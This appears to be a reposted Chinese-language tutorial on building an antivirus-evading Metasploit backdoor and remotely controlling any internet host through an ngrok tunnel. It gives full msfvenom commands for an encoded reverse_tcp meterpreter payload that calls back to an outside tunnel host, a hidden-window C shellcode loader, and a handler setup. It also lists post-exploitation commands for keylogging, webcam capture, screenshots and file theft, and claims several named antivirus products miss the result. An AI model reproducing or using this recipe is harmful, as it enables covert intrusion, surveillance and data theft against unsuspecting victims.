内容简介:Metasploit实验:制作免杀payload+对任意“外网”主机的远控
*本文只做技术交流之用,技术无罪,希望大家知法懂法,更要守法
我发一个文件,你电脑就被我控制了,我可以拍照摄像下载文件,杀毒软件也不管用!这是怎么做到的呢?
这个问题的实现需要拆分成下面三个模块
内网穿透到外网
制作免杀木马后门
Metasploit控制客户机
环境准备
操作系统 | 用途 | IP地址 | 需要软件 |
---|---|---|---|
Kali | 制作payload,攻击,映射端口 | 192.168.1.130 | Metasploit Ngrok |
Win7 | 制作payload | 省略 | VC++6.0 |
Win10 | 客户机 | 任意公网地址 | 无 |
内网穿透到外网
首先我们需要下载一个用于内网穿透的 工具 来进行端口映射与转发。
这里我用的是 linux 64bit
https://www.ngrok.cc/#down-client
接下来在上面的网站自行注册申请,然后登陆。
然后申请免费隧道,选择TCP协议,自定义远程端口,本地IP地址就是kali的IP地址,端口自定义,但不要冲突。
这里请记住隧道id,以及自定义远程端口,kali本机端口
将下载的客户端放置于指定目录,cd到目录,在命令行运行ngrok
./sunny clientid 隧道id
这样就完成了端口映射,它能将外网端口接收到的数据返回到本机kali的指定端口。内网穿透的用途很多,下面给出说明,这里不再赘述。
https://ngrok.com/docs
制作免杀木马后门
首先,在kali中用msfvenom生成一个payload
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’lhost=server.ngrok.cc lport=11206 -f c
上面命令中,-p选择指定payload,–e选择制定编码器(不同编码器免杀效果也有不同,部分编码器应对火绒等杀软效果显著), -i 编码次数,-b 去多余/坏字符,lhost是你申请的ngrok服务器地址 lport是自定义的远程端口,-f 生成指定格式。
我这里选择生成基于 C语言 的数组,当然你也可以用以下命令直接得到exe木马,但这样免杀效果会打折扣,经笔者测试多次,重复编码12次后免杀效果非常强大!
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’lhost=server.ngrok.cc lport=11206 -f exe > haya.exe
然后复制buf数组
在win7下用VC6.0对下面代码进行编译,得到木马。
#include <stdio.h> #pragmacomment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//运行时不显示窗口 unsignedchar buf[] = "buf数组";//将复制的数组粘贴到此处 main() { ((void(*)(void))&buf)(); }
Metasploit控制客户机
切到Kali,使用Metasploit进行监听。
设置监听攻击模块,监听载荷,IP(kali本机),端口(ngrok里自定义的本地端口),然后exp。
use exploit/multi/handler set payloadswindows/meterpreter/reverset_tcp set lhost 192.168.1.130 set lport 12345 exploit
当客户机执行木马后,得到一个meterpreter,可以进行的操作你懂的哈哈。
list一些meterpreter的常用命令。
Download(upload) path | 下载(上传)指定目录文件 |
---|---|
ps | 列出当前系统进程 |
Kill uid | 消灭指定uid系统进程 |
keyscan_start | 开始键盘记录软件 |
webcam_snap | 拍照 |
截屏 | screenshot |
关于隐藏木马,加陌生壳,自启动,文件包含,进程转移等各种姿势加强木马强度就需要大家自行测试了
通入上述步骤得到的木马经过笔者测试可以通过 360,腾讯管家,Windows defender,小红伞 等杀毒软件的查杀。动态免杀中,对于 360 ,如果exe没有放在C盘或者U盘运行就可以做到动态免杀,仅仅会在拍照等特敏感操作会有提示,其他操作全程不报毒, defender 和 腾讯管家 就更弱了,拍照也不会有任何提示。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- server2016下搭建web服务器&三种虚拟主机实验文档
- 角色2:主机绑定和主机侦听
- 云虚拟主机、VPS主机、云服务器到底有哪些区别?
- 青云推出专业增强型主机 vCPU独享型虚拟主机
- 新主机配置清单
- 跨主机容器通信
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。